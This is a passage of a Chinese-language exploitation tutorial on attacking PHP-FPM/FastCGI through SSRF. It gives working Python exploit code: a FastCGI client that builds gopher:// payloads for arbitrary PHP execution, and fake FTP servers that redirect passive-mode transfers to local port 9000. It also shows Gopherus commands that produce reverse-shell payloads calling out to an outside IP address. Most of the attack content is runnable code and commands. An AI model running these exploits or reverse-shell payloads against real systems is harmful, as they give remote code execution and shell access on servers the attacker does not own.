FastCGIClient.__FCGI_TYPE_STDOUT \ or response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: if response['type' ] == FastCGIClient.__FCGI_TYPE_STDERR: self.requests['state' ] = FastCGIClient.FCGI_STATE_ERROR if requestId == int (response['requestId' ]): self.requests[requestId]['response' ] += response['content' ] if response['type' ] == FastCGIClient.FCGI_STATE_SUCCESS: self.requests[requestId] return self.requests[requestId]['response' ] def __repr__ (self ): return "fastcgi connect host:{} port:{}" .format (self.host, self.port) if __name__ == '__main__' : parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.' ) parser.add_argument('host' , help ='Target host, such as 127.0.0.1' ) parser.add_argument('file' , help ='A php file absolute path, such as /usr/local/lib/php/System.php' ) parser.add_argument('-c' , '--code' , help ='What php code your want to execute' , default='<?php phpinfo(); exit; ?>' ) parser.add_argument('-p' , '--port' , help ='FastCGI port' , default=9000 , type =int ) args = parser.parse_args() client = FastCGIClient(args.host, args.port, 3 , 0 ) params = dict () documentRoot = "/" uri = args.file content = args.code params = { 'GATEWAY_INTERFACE' : 'FastCGI/1.0' , 'REQUEST_METHOD' : 'POST' , 'SCRIPT_FILENAME' : documentRoot + uri.lstrip('/' ), 'SCRIPT_NAME' : uri, 'QUERY_STRING' : '' , 'REQUEST_URI' : uri, 'DOCUMENT_ROOT' : documentRoot, 'SERVER_SOFTWARE' : 'php/fcgiclient' , 'REMOTE_ADDR' : '127.0.0.1' , 'REMOTE_PORT' : '9985' , 'SERVER_ADDR' : '127.0.0.1' , 'SERVER_PORT' : '80' , 'SERVER_NAME' : "localhost" , 'SERVER_PROTOCOL' : 'HTTP/1.1' , 'CONTENT_TYPE' : 'application/text' , 'CONTENT_LENGTH' : "%d" % len (content), 'PHP_VALUE' : 'auto_prepend_file = php://input' , 'PHP_ADMIN_VALUE' : 'allow_url_include = On' } request_ssrf = urlparse.quote(client.request(params, content)) print ("gopher://127.0.0.1:" + str (args.port) + "/_" + request_ssrf)
用法依旧:
1 python fpm2.py -c "<?php system('ls'); exit(); ?>" -p 9000 127.0.0.1 /var/www/html/index.php
注:这里执行的命令的起始路径是我们传入的这个文件,例如/var/www/html/index.php
这个
神了,从下午2点搭这个b环境打ssrf一直有问题,mb的最后发现是hcj的sb docker模板拉的是轻量级煞笔php,最后自己重新拉了个ubuntu配的php,nginx,php-fpm才好使,服了!!!!!
使用Gopherus gopherus确实牛逼,输入:python2 gopherus.py --exploit fastcgi
后路径再输入已确定存在的php文件的路径,再输入要执行的命令即可.
效果:
SSRF中的攻击点 curl_exec() 很经典的能进行ssrf的函数,能支持file,dict,gopher等伪协议.
file_get_contents() 可以从指定路径来获取资源,不支持gopher协议
sockopen() 这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
FTP攻击FPM/FastCGI FTP的两种模式 FTP会话包含了两个通道,控制通道和数据传输通道,FTP的工作有两种模式,一种是主动模式,一种是被动模式,以FTP Server为参照:主动模式,服务器主动连接客户端传输;被动模式,等待客户端的连接。
在主动模式下,FTP客户端随机开启一个大于1024的端口N向服务器的21号端口发起连接,然后开放N+1号端口进行监听,并向服务器发出PORT N+1命令。服务器接收到命令后,会用其本地的FTP数据端口(通常是20)来连接客户端指定的端口N+1,进行数据传输。
在被动模式下,FTP库户端随机开启一个大于1024的端口N向服务器的21号端口发起连接,同时会开启N+1号端口。然后向服务器发送PASV命令,通知服务器自己处于被动模式。服务器收到命令后,会开放一个大于1024的端口P进行监听,然后用PORT P命令通知客户端,自己的数据端口是P。客户端收到命令后,会通过N+1号端口连接服务器的端口P,然后在两个端口之间进行数据传输。
总的来说,主动模式的FTP是指服务器主动连接客户端的数据端口,被动模式的FTP是指服务器被动地等待客户端连接自己的数据端口。
由此可见,在被动模式中,FTP客户端和服务端的数据传输端口是由服务端指定的,实际上除了端口,服务器的地址也是可以被指定的.由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的:
1 227 Entering Passive Mode(192,168,9,2,4,8)
227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语,而 (192,168,9,2,4,8)
代表让客户端到连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。
这样,假如我们指定 (127,0,0,1,0,9000)
,那么便可以将地址和端口指到 127.0.0.1:9000,也就是本地的 9000 端口。同时由于 FTP 的特性,其会把传输的数据原封不动的发给本地的 9000 端口,不会有任何的多余内容。如果我们将传输的数据换为特定的 Payload 数据,那我们便可以攻击内网特定端口上的应用了。在这整个过程中,FTP 只起到了一个重定向 Payload 的内容。
写入文件 例:
1 2 3 4 <?php highlight_file (__FILE__ ); file_put_contents ($_GET ['file' ], $_GET ['data' ]);?>
一个经典的写文件函数,但是假如没有权限写文件我该怎么利用呢?那么就可以利用ssrf来打.
ssrf通常能使用gopher://协议来打,但是这个函数不支持,如果内网存在PHP-FPM的话,那么我们就可以利用FTP的被动模式来攻击FPM.
起一个伪ftp客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0' , 23 )) s.listen(1 ) conn, addr = s.accept() conn.send(b'220 welcome\n' ) conn.send(b'331 Please specify the password.\n' ) conn.send(b'230 Login successful.\n' ) conn.send(b'200 Switching to Binary mode.\n' ) conn.send(b'550 Could not get the file size.\n' ) conn.send(b'150 ok\n' ) conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n' ) conn.send(b'150 Permission denied.\n' ) conn.send(b'221 Goodbye.\n' ) conn.close()
使用Gopherus生成一个打FPM反弹shell的payload,只取_后面的值.
1 2 3 python gopherus.py --exploit fastcgi /var/www/html/index.php bash -c "bash -i >& /dev/tcp/103.150.11.108/2333 0>&1"
nc监听2333端口,传参即可反弹shell
读取写回文件 例如CVE-2021-3129这个漏洞,核心就是传入 file_get_contents() 和 file_put_contents() 这两个函数中的内容没有经过过滤,从而可以通过精巧的构造触发 phar 反序列化,达到RCE的效果.
示例代码:
1 2 3 4 <?php $contents = file_get_contents ($_GET ['viewFile' ]);file_put_contents ($_GET ['viewFile' ], $contents );?>
可以看到,这段代码的主要功能就是先读取一个文件,再把这个文件的内容写到这个文件里,相当于啥也没干.
file_get_contents我们经常用来进行ssrf,其支持各种伪协议,假如我们使用ftp协议的话,传入
viewFile=ftp://evil-server/file.txt
的话,那么就会发生以下步骤:
先通过file_get_contents()连接到我们的ftp服务器,下载file.txt
再通过file_put_contents()连接到ftp服务器,并将其上传回file.txt
那么我们依旧搭一个evilftp服务器,先从服务器上下载文件后,当他试图传回文件的时候,我们再告诉他把文件发送到127.0.0.1:9000,这样我们就可以向目标主机本地的PHP-FPM发送一个任意的数据包,然后就能任意代码执行了.
依旧使用Gopherus生成payload:
1 2 3 python gopherus.py --exploit fastcgi /var/www/html/index.php bash -c "bash -i >& /dev/tcp/103.150.11.108/2333 0>&1"
evilftpredict.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import socketfrom urllib.parse import unquotepayload = unquote(" " ) payload = payload.encode('utf-8' ) host = '0.0.0.0' port = 23 sk = socket.socket() sk.bind((host, port)) sk.listen(5 ) sk2 = socket.socket() sk2.bind((host, 1234 )) sk2.listen() count = 1 while 1 : conn, address = sk.accept() conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"220 ready\n" ) else : conn.send(b"200 ready\n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"215 \n" ) else : conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"213 3 \n" ) else : conn.send(b"300 \n" ) print (conn.recv(20 )) conn.send(b"200 \n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"227 127,0,0,1,4,210\n" ) else : conn.send(b"227 127,0,0,1,35,40\n" ) print (conn.recv(20 )) if count == 1 : conn.send(b"125 \n" ) print ("建立连接!" ) conn2, address2 = sk2.accept() conn2.send(payload) conn2.close() print ("断开连接!" ) else : conn.send(b"150 \n" ) print (conn.recv(20 )) exit() if count == 1 : conn.send(b"226 \n" ) conn.close() count += 1